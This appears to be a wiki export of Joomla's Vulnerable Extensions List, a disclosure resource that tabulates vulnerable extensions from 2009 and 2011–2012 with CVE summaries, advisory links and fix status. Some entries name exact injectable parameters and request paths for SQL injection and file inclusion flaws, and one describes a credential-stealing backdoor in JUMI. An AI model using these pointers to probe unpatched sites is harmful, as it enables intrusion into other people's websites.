| Summary: SQL injection vulnerability in the content component ('''com_content''') 1.0.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the Itemid parameter in a blogcategory action to index.php.
Published: 08/10/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2008-6923|CVE-2008-6923]]
| style="background:#cef2e0; color:white" |'''[http://developer.joomla.org/security/news/305-20091103-core-front-end-editor-issue-.html Resolution]'''
|-
| style="background:#cef2e0; color:black" |'''JUMI'''
| There is a backdoor in JUMI that installs itself when JUMI is installed on your web site. It sends your credentials to a website, and sets up a back door for remote code execution.
Please remove JUMI2.0.5 immediately.
It will be simple enough to remove the compromised code from this download, but you need to do
a full security audit on your site as well as you have been compromised. Added November 2009
| [http://code.google.com/p/jumi/updates/list Report]
| style="background:#cef2e0; color:white" |[http://code.google.com/p/jumi/updates/list Jumi Update]
|-
| style="background:#cef2e0; color:black" |'''com_photoblog'''
| Input Validation Error Added November 2009
| [http://www.securityfocus.com/bid/36809/ 36809]
| style="background:#cef2e0; color:white" |[http://webguerilla.net/downloads/3-components-for-joomla-1 webguerilla Photoblog alpha 3b]
|-
| style="background:#cef2e0; color:black" |'''BF Survey Pro'''
| Summary: SQL injection vulnerability in the '''BF Survey Pro''' v1.2.5 or lower (fixed in version 1.2.6). '''BF Survey Basic v1.0''' (fixed in version 1.1). '''BF Quiz v1.1.1''' (fixed in version 1.2 or greater) Added November 2009
| [http://www.tamlyncreative.com.au/software/forum/index.php?topic=357.0 tamlyncreative.com.au]
| style="background:#cef2e0; color:white" |[http://www.tamlyncreative.com.au/software/forum/index.php?topic=357.0 update]
|-
| style="background:#cef2e0; color:black" |'''Joo!BB 0.9.1 '''
| Summary: Persistent XSS/MySQL Injection vulnerabilities in Joo!BB 0.9.1 Added November 2009
| [http://www.joobb.org/community/board/topic/700-MultipleXSSSQLInjectionVulnerabilities.html joob.org]
| style="background:#cef2e0; color:white" |[http://www.joobb.org/downloads/components.html update]
|-
| style="background:#cef2e0; color:black" |'''sh404sef '''
| Summary: sh404sef URI XSS Vulnerability Added November 2009
| [http://jeffchannell.com/Joomla/sh404sef-uri-xss-vulnerability.html jeffchannell.com]
| style="background:#cef2e0; color:white" |[http://extensions.siliana.com/en/2009060876/sh404SEF-and-url-rewriting/Interim-release-of-sh404sef-for-Joomla-1.5.x.html update]
|-
| style="background:#cef2e0; color:black" | '''AWD Wall 1.5'''
| Summary '''AWD Wall 1.5''' Blind SQL Injection Vulnerability.The Joomla component AWD Wall 1.5 suffers from an SQL Injection vulnerability in its handling of the 'cbuser' parameter.Added November 2009
| [http://jeffchannell.com/Joomla/awd-wall-15-blind-sql-injection-vulnerability.html Notice]
|style="background:#cef2e0; color:white" | '''[http://www.awdsolution.com/template_demo/testsite/index.php?option=com_content&view=article&id=48&Itemid=72 developer update]'''
|-
| style="background:#cef2e0; color:black" | '''!JoomlaComment 4.0 beta1'''
| Summary: '''!JoomlaComment 4.0 beta1''', a commenting plugin, suffers from multiple XSS vulnerabilities. Added November 2009
| [http://jeffchannell.com/Joomla/joomlacomment-40-beta1-multiple-xss-vulnerabilities.html Alert]
| style="background:#cef2e0; color:white" | ''' [http://compojoom.com/blog/8-news/121-joomlacomment-40-rc1-released Developer Notice 4.0 rc1]''
|-
|style="background:#cef2e0; color:black" |'''Kunena 1.5.x'''
|Summary: This is an important security release and users are urged to update immediately. Five security issues and an Internet Explorer 8 table bug have been resolved in this release. This release also contains many other important bug fixes. Added 18 November 2009
|[http://www.kunena.com/blog/19-developer-blog/51-kunena-157-security-release-now-available Advisory]
|style="background:#cef2e0; color:white" |[http://www.kunena.com/blog/19-developer-blog/52-kunena-158-service-release-now-available Latest 1.5.8 Version]
|-
|style="background:#cef2e0; color:black" |'''NinjaMonials'''
| Summary: SQL injection vulnerability in the '''NinjaMonials (com_ninjacentral)''' component 1.1.0 for '''Joomla 1.0.x''' ! allows remote attackers to execute arbitrary SQL commands via the testimID parameter in a display action to index.php. Added 18 November 2009
| [[NIST:CVE-2009-3964 | CVE-2009-3964]]
|style="background:#cef2e0; color:white" |''' [http://ninjaforge.com/index.php?option=com_ninjacentral&page=show_package&id=14&Itemid=235 developer patch Ver 1.2]'''
|-
|style="background:#cef2e0; color:black" | '''webee 1.1.1 &1.2'''
|Summary: '''webee 1.1.1,''' a Joomla commenting plugin, suffers from multiple vulnerabilities. '''webee has been updated to 1.2''' as of 12 November 2009 and''' still suffers''' from SQL Injection. XSS was not tested in 1.2. Added 19 November 2009
| [http://jeffchannell.com/Joomla/webee-111-multiple-vulnerabilities.html jeffchannell.com]
|style="background:#cef2e0; color:white" | ''' [http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/10155 developer update ver2.0]'''
|-
|style="background:#cef2e0; color:black" |'''iF Portfolio Nexus'''
|Summary: The '''iF Portfolio Nexus component for Joomla!''' is vulnerable to SQL injection. A remote attacker could send specially-crafted SQL statements using the id parameter, which could allow the attacker to view, add, modify or delete information in the back-end database. Nov 18, 2009
|[http://secunia.com/advisories/37408/ secunia.com 37408/]
|style="background:#cef2e0; color:white" |[http://www.inertialfate.za.net/help/forums/topic?id=10&p=3#p172 iF Portfolio Nexus v1.1.1 released]

|-
|style="background:#cef2e0; color:black" |'''Joomla XML'''
|Summary: Joomla! before 1.5.15 allows remote attackers to read an extension's XML file, and thereby obtain the extension's version number, via a direct request.
Published: 11/16/2009
|[[NIST:CVE-2009-3946 | CVE-2009-3946]]
|style="background:#cef2e0; color:white" |'''[http://developer.joomla.org/security/news/306-20091103-core-xml-file-read-issue.html Resolution]'''
|-
|style="background:#cef2e0; color:black" |'''Sermon speaker'''
|Summary: [http://joomlacode.org/gf/project/sermon_speaker sermon speaker] sql vulnerability and password reset vulnerability version 3.2 and below
|
|style="background:#cef2e0; color:white" |[http://joomlacode.org/gf/project/sermon_speaker/forum/?action=ForumBrowse&forum_id=7897&_forum_action=ForumMessageBrowse&thread_id=15219 Developer fix] 30 Nov 2009
|-
|style="background:#cef2e0; color:white" | [http://joomlacode.org/gf/project/musicgallery/ MusicGallery]
|Summary: [http://joomlacode.org/gf/project/musicgallery/ Component MusicGallery] SQL Injection Vulnerability 30 November {{JVer|1.5}}
|[[NIST:CVE-2009-4217 | CVE-2009-4217]]
|style="background:#cef2e0; color:black" | [http://joomlacode.org/gf/project/musicgallery/ developer]
|}

----

== December 2009 Compiled Reports ==
{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Reference Link'''
! '''Extension Update Link'''
|-
|style="background:red; color:white" | '''Omilen Photo Gallery'''
|Summary: Directory traversal vulnerability in the [http://extensions.joomla.org/extensions/photos-&-images/photo-flash-gallery/6373/details Omilen Photo Gallery] (com_omphotogallery) component Beta 0.5 for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.
Published: 12/04/2009
|[[NIST:CVE-2009-4202 | CVE-2009-4202]]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''Seminar'''
|Summary: SQL injection vulnerability in the [http://seminar.vollmar.ws/ Seminar] (com_seminar) component 1.28 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a View_seminar action to index.php.
Published: 12/04/2009
|[[NIST:CVE-2009-4200 | CVE-2009-4200]]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''Mambo Resident'''
|Summary: Multiple SQL injection vulnerabilities in the Mambo Resident (aka Mos Res or com_mosres) component 1.0f for Mambo and Joomla!, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) property_uid parameter in a viewproperty action to index.php and the (2) regID parameter in a showregion action to index.php. Mambo Resident component for v4.5.2 '''may only be for 1.0.xx versions of J!'''
Published: 12/04/2009
|[[NIST:CVE-2009-4199 | CVE-2009-4199]]
|style="background:#cef2e0; color:white" |[http://www.jomres.net/ Replacement Extension 08 dec 09]
|-
|style="background:red; color:white" | '''ProofReader'''
|Summary: Multiple cross-site scripting (XSS) vulnerabilities in index.php in the ProofReader (com_proofreader) component 1.0 RC9 and earlier for Joomla! allow remote attackers to inject arbitrary web script or HTML via the URI, which is not properly handled in (1) 404 or (2) error pages. Published: 12/02/2009 CVSS Severity: 4.3 (MEDIUM)
| [[NIST:CVE-2009-4157 | CVE-2009-4157]]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''Laoneo Google Calendar GCalendar'''
|Summary: SQL injection vulnerability in the [http://g4j.laoneo.net/content/extensions/download/cat_view/20-joomla-15x/21-gcalendar.html Google Calendar GCalendar] (com_gcalendar) component 1.1.2, 2.1.4, and possibly earlier versions for Joomla! allows remote attackers to execute arbitrary SQL commands via the gcid parameter. NOTE: some of these details are obtained from third party information. Published: 11/29/2009 CVSS Severity: 7.5 (HIGH) Note: There is already a listing for GCalendar 1.1.2
|[[NIST:CVE-2009-4099 | CVE-2009-4099]]
|style="background:#cef2e0; color:white" | [http://g4j.laoneo.net/content/extensions/download/doc_details/28-gcalendar-suite-215.html Latest version GCalendar Suite 2.1.5]
|-
|style="background:red; color:white" | '''D4J eZine'''
|Summary: PHP remote file inclusion vulnerability in class/php/d4m_ajax_pagenav.php in the D4J eZine (com_ezine) component 2.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS mosConfig_absolute_path parameter. Published: 11/29/2009 CVSS Severity: 7.5 (HIGH)
|[[NIST:CVE-2009-4094 | CVE-2009-4094]]
|style="background:red; color:white" | ''' Not Known'''
|-
| style="background:red; color:white" | '''Quick News'''
| Summary: The Joomla [http://joomlacode.org/gf/project/quicknews/ Quick News component] suffers from a remote SQL injection vulnerability. added 1st Dec 09
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''Joaktree component'''
|Summary: [http://extensions.joomla.org/extensions/miscellaneous/genealogy/9842 Joaktree] Vulnerability : SQL injection/ added 1st Dec 09
|[http://securityreason.com/exploitalert/7508 7508]
|style="background:#cef2e0; color:white" | ''' [http://naastniels.nl/index.php/en/joaktree/downloads version 1.1 update]'''
|-
|style="background:red; color:white" | '''mojoblog'''
|Summary [http://www.joomlify.com/files/mojoblog/ MojoBlog] Multiple Remote File Include Vulnerability added 1st Dec 09 {{JVer|1.5}}
|[http://securityreason.com/exploitalert/7509 7509]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''YJ Whois'''
|Summary: [http://extensions.joomla.org/extensions/external-contents/domain-search/5774 YJ Whois] '''Low security risk''',and fixesMalicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account. Files affected is , modules/mod_yj_whois.php added 3 December 09
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" |[http://www.youjoomla.com/xss-security-patch-for-yj-whois.html Developer Notice and fix 03 dec 09]
|-
|style="background:#cef2e0; color:black" | '''yt_color YOOOtheme'''
|Summary: [http://www.yootheme.com/ YT_color yootheme] Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account. added 5 dec 09
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | ''' [http://www.yootheme.com/member-area/downloads/item/templates-15/xss-and-php-53-patches All members without an active membership can download the template patches here].'''
|-
|style="background:red; color:white" | '''TP Whois'''
|summary: [http://www.templateplazza.com/view-details/tpwhois/183-component-tp-whois-for-joomla-1.5.x.html TP Whois ] Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account. Added 3 december {{JVer|1.5}}
|[http://www.exploit-db.com Refrence]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''com_job'''
|Summary: Component com_job ( showMoreUse) SQL injection vulnerability Added 9th Dec
|[http://xforce.iss.net/xforce/xfdb/54626 Reference]
| style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''JQuarks'''
|Summary: [http://extensions.joomla.org/extensions/contacts-and-feedback/quiz-a-surveys/10590 JQuarks] SQL injection vulnerability {{JVer|1.5}} added 8th dec 09
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | [http://www.iptechinside.com/labs/projects/list_files/jquarks Developer Update ]
|-
|style="background:red; color:white" | '''Mamboleto Component 2.0 RC3'''
|Summary: [http://www.fernandosoares.com.br/index.php?option=com_docman&task=cat_view&gid=28&Itemid=28 Mamboleto Component 2.0 RC3]SQL injection vulnerability {{JVer|1.5}} added 12 December
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
| style="background:#cef2e0; color:black" | ''' JS JOBS'''
|Summary [http://www.joomshark.com/index.php?option=com_content&view=article&id=4&Itemid=8 JS JOBS] Joomla Component com_jsjobs 1.0.5.6 SQL Injection Vulnerabilities {{JVer|1.5}} added 12 December
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | ''' [http://www.joomsky.com/index.php?option=com_rokdownloads&view=folder&Itemid=3&id=2:components Developer update 1.0.5.7]'''
|-
|style="background:#cef2e0; color:black" | '''corePHP JPhoto'''
|Summary: [http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/10365 'corePHP' JPhoto]SQL injection vulnerability {{JVer|1.5}} added 12 December
|[http://secunia.com/advisories/37676/ Reference]
|style="background:#cef2e0; color:white" | ''' [http://www.corephp.com/blog/uber-fast-jphoto-security-release/ Developer Upgrade]'''
|-
|style="background:#cef2e0; color:black" | '''com_virtuemart'''
|Summary: "com_virtuemart" http://virtuemart.net/ '''Version : 1.0''' Vulnerability : SQL injection added Date : 07- dec -09 {{JVer|1.5}}
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" |[http://virtuemart.net/ latest version]
|-
|style="background:red; color:white" | ''' Kide Shoutbox'''

|Summary: The Kide Shoutbox (com_kide) component 0.4.6 for Joomla! does not properly perform authentication, which allows remote attackers to post messages with an arbitrary account name via an insertar action to index.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information. Added: December 08
|[[NIST:CVE-2009-4232 | CVE-2009-4232]]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | ''' JoomPortfolio Component'''
|Summary: [http://www.joomplace.com/joomportfolio/joomportfolio.html JoomPortfolio] Input passed via the "secid" parameter to index.php (when "option" is set to "com_joomportfolio" and "task" is set to "showcat") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The vulnerability is reported in version 1.0.0. Other versions may also be affected. Added: December 18 {{JVer|1.5}}
|[http://secunia.com/advisories/37838/ Reporting Site]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''City Portal (templates?)'''
|Summary: City Portal Blind SQL Injection Vulnerability added: 2009-12-18
|[http://www.exploit-db.com Reference] Possibly this [http://www.youjoomla.com/jclick-city-portal-joomla-template.html tempate]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''Event Manager'''
|Summary: [http://www.jforjoomla.com/Joomla-Components/event-manager-15-component.html Event Manager] Blind SQL Injection Vulnerability EDB-ID: 10549
added: 2009-12-18
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | com_zcalendar
|Summary: com_zcalendar Blind SQL-injection Vulnerability
EDB-ID: 10548 added: 2009-12-18
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''com_acmisc'''
|Summary: com_acmisc SQL injection added: 2009-12-18
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''com_digistore'''
|Summary: com_digistore SQL injection EDB-ID: 10546 added: 2009-12-18 {{JVer|1.5}}
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | ''' [http://www.ijoomla.com/ijoomla-digistore/ijoomla-digistore/ijoomla-digistore-change-log/ Update change log] '''
|-
|style="background:red; color:white" | '''com_jbook'''
|Summary: com_jbook Blind SQL-injection EDB-ID: 10545 added: 2009-12-18 {{JVer|1.0}}
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''com_personel'''
|Summary: com_personel component for Joomla! is vulnerable to SQL injection.
|[http://xforce.iss.net/xforce/xfdb/54903 iss.net reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''JEEMA Article Collection'''
|Summary: [http://www.forum.jeema.net/component/content/article/4-jeema-article-collection-component/13-about-jeema-article-collection.html JEEMA Article Collection] Input passed via the "catid" parameter to index.php (when "option" is set to "com_jeemaarticlecollection" and "view" is set to "longlook") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. version 1.0.0.1 {{JVer|1.5}} added 22 dec 09
| [http://secunia.com/advisories/37865/ secunia]
|style="background:#cef2e0; color:white" | [http://www.jeema.net/downloads/free-joomla-extensions/joomla-components/12-jeema-joomla-article-collection.htm fixed the same in the version v102.]
|-
|style="background:red; color:white" | '''HotBrackets Tournament Brackets '''
|Summary: The [http://extensions.joomla.org/extensions/sports-a-games/sports/10746 HotBrackets Tournament Brackets] component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. {{JVer|1.5}} added 22 dec
|[http://www.securityfocus.com/bid/37439/ Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''Car Manager'''
|Summary: http://webformatique.com/ com_carman Cross Site Scripting Vulnerability added 24 december 09{{JVer|1.5}}
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
| style="background:red; color:white" |'''Schools component'''
|Summary: The 'com_schools' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|[http://www.securityfocus.com/bid/37469 Reference] added 24 dec 09
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''webcamxp'''
|[http://extensions.joomla.org/extensions/communication/video-conference/4490 com_webcamxp] Cross Site Scripting Vulnerabilities Last version 2008 {{JVer|1.5}} Dec 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" | '''beeheard'''
|[http://extensions.joomla.org/extensions/contacts-and-feedback/testimonials-a-suggestions/10283 beeheard] Blind SQL injection Vulnerability {{JVer|1.5}} Dec 27
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | ''' [http://beeheard.cmstactics.com/change-log Version 1.4.2] 04 Jan'''
|-
|style="background:red; color:white" | '''jm-recommend'''
|jm-recommendCross Site Scripting Vulnerabilities. unable to locate on jed. {{JVer|1.5}} Dec 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | facileforms
| com_facileforms Cross Site Scripting Vulnerabilities. unable to locate on jed. Product considered retired. {{JVer|1.5}} Dec 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" |'''adagency'''
| [http://www.ijoomla.com/ijoomla-ad-agency/ijoomla-ad-agency/index/ adagency ]Vulnerabilities {{JVer|1.5}} Dec 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" | '''com_intuit'''
|[http://www.san-diego-web-designer.com/new-file-download/item/root/aboutimage-igateway-for-joomla.html com_intuit]Local File Inclusion Vulnerability {{JVer|1.5}} Dec. 27
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | ''' [http://www.securityfocus.com/bid/37494/discuss Retired]'''
|-
|style="background:red; color:white" | '''MemoryBook'''
|[http://extensions.joomla.org/extensions/calendars-a-events/birthdays-a-historic-events/10868 MemoryBook 1.2] Multiple Vulnerabilities. requires: magic quotes OFF, user account {{JVer|1.5}} Dec. 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" |'''qpersonel'''
|[http://extensions.joomla.org/extensions/directory-a-documentation/thematic-directory/7049 qpersonel ] Cross Site Scripting Vulnerabilities {{JVer|1.0}}[[Image:http://extensions.joomla.org/images/jed/compat_15_legacy.png]] Dec. 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" |'''opryknings point'''
|com_oprykningspoint_mc Cross Site Scripting Vulnerabilities {{JVer|1.5}} Dec. 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" |'''trabalhe conosco'''
|com_trabalhe_conosco Cross Site Scripting Vulnerabilities {{JVer|1.5}} Dec. 27
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:red; color:white" |'''DhForum'''
|com_dhforum SQL Injection Vulnerability. considered retired/EOL Dec. 27 {{JVer|1.0}}1.5 legacy
|[http://www.exploit-db.com Reference]
|style="background:red; color:white" | ''' Not Known'''
|-
|style="background:#cef2e0; color:black" |'''com_morfeoshow'''
|[http://extensions.joomla.org/extensions/photos-a-images/photo-gallery-add-ons/9810 morfeoshow] this was a false report
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:black" | ''' false report'''
|-
|style="background:#cef2e0; color:black" |'''Run Digital Download rd-download'''
|[http://extensions.joomla.org/extensions/directory-a-documentation/downloads/7838 RD Download] Local File Disclosure Vulnerability {{JVer|1.5}} Dec. 30 Version affected not disclosed.
|[http://www.exploit-db.com Reference]
|style="background:#cef2e0; color:white" | [http://extensions.joomla.org/extensions/directory-a-documentation/downloads/7838 Version 0.9 relased]
|-
|
|
|
|
|}

----
<math>Insert formula here</math>
[[Category:Security]][[Category:References]]

Talk:Moving sensitive files outside the web root

2012-11-13T23:48:38Z

Phild: /* This page should probably be moved. */ new section

Archived:Vulnerable Extensions List

2012-11-04T11:27:06Z

Phild: added PhilD back to VEL editor listing

'''List prior to Jnuary 2011 ([[Archived vel|now archived]])''' Please check here also.

Please also check the [[Investigation of exploits|Extension Investigation List]].

== Check and Report. ==
'''Please check with the extension publisher in case of any questions over the security of their product.'''
Report Vulnerable extensions in the [[jforum:432|security forum]] clearly marked with the first word in the title being ''Vulnerable'' where the security moderators or JSST team will respond.
This list is change protected,''' for additions or updates email''' ''vel @ joomla.org''
*If you are seeing this page on any site other than [http://docs.joomla.org/Vulnerable_Extensions_List the Offical Joomla Documentation] you may be seeing an out of date version or experiencing [http://en.wikipedia.org/wiki/Plagiarism plagiary] and the links may not work properly

== How to use this list ==
'''Items will be removed after a suitable period and not on resolution.'''

All known vulnerable extensions are the listed in the first column "Extension". Any in a red box are where we have not been given a fix. Any in a turquoise box contain a link to the notice about an update with link. Any that are in an uncolored box are a "Contact the Developer About This Extension".
Alert Advisory details are in the center column.
If the "Extension Update Link & Date Column has '''Not Known''' then it is where no update is known.

'''This list is compiled from found information and may not be an up to date accurate list''' ''We do '''NOT''' promise to test or validate these reports. We do '''NOT''' guarantee the quality or effectiveness of any updates reported to us or listed here.''
To sign up for the feed please [http://feeds.joomla.org/JoomlaSecurityVulnerableExtensions follow this link]
* We do not list BETA products, or extensions for J1.0.x

== Developers - How to get yourself removed from the VEL ==

Resolved items will be removed after a suitable period and not on resolution

Please solve the issues and:

* '''If JED listed'''

To have your extension republished, please follow these steps:

1- Solve the issues.

2- Attach the new zip file at your actual JED listing.

3- Change the extension version at JED listing.

4- Make sure to include a notice in the JED description to the fact that the new release is a "Security Release" and those who use the extension should upgrade immediately.

5- Create a [http://bit.ly/velunlist JED listing owner ticket] to the JED with a notice and ask that your listing be republished. Include the full details of yournew version number and security notice page

6- Email the VEL team with a notice of resolution, the latest version number '''and''' a link to the security release statement on your website

VEL email can be found above and the JED support link is in your notice of "unpublication" [http://extensions.joomla.org/component/maqmahelpdesk/ and here]

* '''If not JED listed.'''
Inform us by '''email''' with a notice of resolution, the latest version number '''and''' a link to the security release statement on your website.

== January 2012 and onwards Reported Vulnerable Extensions ==
<startFeed />
{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Date Added'''
! class="unsortable" |'''Extension Update Link & Date'''
|-
|style="background:#cef2e0; color:black" |

== commedia ==
|RFI
|231012
|developer update [http://www.ecolora.com/index.php/15-commedia-a-mp3browser-new/77-commedia-3-2-is-not-vulnerable#english statement to version 3.2] 271012
|-
|style="background:#cef2e0; color:black" |

== Kunena ==
|SQLi + ID
|221012
|Developer states [http://www.kunena.org/forum/announcement/id-52 current version not exploitable] by reported methods
|-
|style="background:#cef2e0; color:black" |

== Icagenda ==
|SQLi
|
|Developer [http://www.joomlic.com/en/extensions/icagenda statement for 1.2.9]
|-
|style="background:red; color:white" |

== JTag [joomlatag] ==
|SQLi
|
|
|-
|style="background:#cef2e0; color:black" |
== Freestyle Support ==
|SQLi
|
|developer update [http://freestyle-joomla.com/help/announcements?announceid=60 statement 251012]
|-
|style="background:#cef2e0; color:black" |

== ACEFTP ==
|DT
|011012
|AceFTP 2.0.0 released. Developer [http://www.joomace.net/blog/aceftp/aceftp-200-has-been-released statement] 101012
|-
|

== MijoFTP ==
|DT
|011012
|*''reported fixed prior to notification''*
|-
|style="background:#cef2e0; color:black" |

== spider calendar lite ==
|RFI
|180912
|developer release version 1.5 [http://web-dorado.com/products/joomla-calendar-module.html version]
|-
|

== RokModule ==
|SQLi
|Rereported 180912
|Developer states: no known exploits for our current versions [http://www.rockettheme.com/extensions-downloads/free/1012-rokmodule of RokModule Joomla 2.5 - v1.3 Joomla 1.5 - v1.4]
|-
|style="background:#cef2e0; color:black" |

== ICagenda ==
| SQLi
|developer [http://www.joomlic.com/en/extensions/icagenda security release] - v1.2.1
|080912
|-
|style="background:#cef2e0; color:black" |

== En Masse cart ==
|RFI
|060812
|Developer upgrade statement [http://www.matamko.com/news-update/14-en-masse-releases/142-announcement-for-security-release-enmasse-313.html to 3.1.3]
|-
|

== JCE (joomla content editor) ==
|Upload Restriction <2.2.4
|050812
|Developer states current version not exploitable
|-
|

== RSGallery2 ==
|SQLi XSS
| 31 07 12
|Devleoper statement versions 3.2.0 for Joomla 2.5 and version 2.3.0 for Joomla 1.5 [http://www.rsgallery2.nl/topicseen./announcements/rsgallery2_3.2.0_and_2.3.0_released_16845.msg44046.html released]
|-
|style="background:#cef2e0; color:black" |

== osproperty ==
|Unrestricted uploads
|160712
|Developer release [http://joomservices.com/components/ossolution-property.html version 2.0.3] 180712
|-
|style="background:#cef2e0; color:black" |

== KSAdvertiser ==
| RFI
|160712
|The security update version 1.5.72 advise can be found here:
[http://www.kiss-software.de/index.php?option=com_content&view=article&id=251:kiss-advertiser-sicherheitsupdate&catid=69&Itemid=361&lang=de German] [http://www.kiss-software.de/index.php?option=com_content&view=article&id=252:kiss-advertiser-security-update&catid=21&Itemid=362&lang=en English]
|-
|style="background:#cef2e0; color:black" |

== Shipping by State for Virtuemart ==
|elevated permissions (http://web-expert.gr/en)
|160612
| [http://web-expert.gr/en/commersial/virtuemart-shipping-by-state-component Upgrade to v2.5 download] commercial product 300612
|-
|style="background:red; color:white" |

== ownbiblio 1.5.3 ==
|SQLi +
|250512
|
|-
|

== Ninjaxplorer <=1.0.6 ==
|developer notification
|250412
|developer statement [http://ninjaforge.com/blog/318-security-vulnerability-discovered-in-ninjaxplorer-upgrade-immediately upgrade to 1.0.7]
|-
|style="background:#cef2e0; color:black" |

== Phoca Fav Icon ==
|Permissions Rewrite
|150412
| [http://www.phoca.cz/news/30-phoca-news/633-phoca-favicon-203-released developer update 2.0.3 statement]
|-
|style="background:#cef2e0; color:black" |

== estateagent improved ==
|sqli (eaimproved.eu)
|110412
|developer states previous version, not current version
|-
|

== bearleague ==
|110412
|sql
|(no longer maintained)
|-
|

== JLive! Chat v4.3.1 ==
|DT
|060412
|Developer reports [http://www.cmsfruit.com/security-measures.html as unproven]
|-
|style="background:#cef2e0; color:black" |

== virtuemart 2.0.2 ==
|SQLi
|050412
|developers [http://virtuemart.net/news/list-all-news/417-happy-easter-new-virtuemart-204-released-security-update-sqli release statement]Current version 2.0.6 released
|-
|

== JE testimonial ==
|SQLi
|230312
|Developer states '''malicious report.'''
|-
|style="background:#cef2e0; color:black" |

== JaggyBlog ==
|excessive file permission
|090212
|version 1.3.1 [http://www.jaggysnake.co.uk/products/jaggyblog released]
|-
|style="background:red; color:white" |

== Quickl Form ==
|xss
|260112
|
|-
|style="background:red; color:white" |

== com_advert ==
|sqli - unknown developer
|240112
|
|-
|style="background:#cef2e0; color:black" |

== Joomla Discussions Component ==
|sqli
|180112
|Discussions 1.4.1 released [http://www.codingfish.com/news/38-joomla/101-discussions-141-released developer statement]
|-
|style="background:#cef2e0; color:black" |

== HD Video Share (contushdvideoshare) ==
|sqli
|180112
|updated [http://www.hdvideoshare.net version 2.2]
|-
|style="background:#cef2e0; color:black" |

== Simple File Upload 1.3 ==
|RFI
|010112
| Developer update [http://wasen.net/index.php?option=com_content&view=article&id=64:simple-file-upload-download&catid=40:project-simple-file-upload&Itemid=59 statement] to 1.3.5
|-
|

== ==
|
|
|
|}<endFeed />

== January 2011 - Jan 2012 Reported Vulnerable Extensions ==

'''Please check with the extension publisher in case of any questions over the security of their product.'''
Report Vulnerable extensions either in the [[jforum:432]] security topic clearly marked with the first word in the title being ''Vulnerable Report'' where the security moderators or JSST team will respond or via email to the VEL team. For a guide to the [http://docs.joomla.org/Vulnerable_Extensions_List#Codes_used codes]
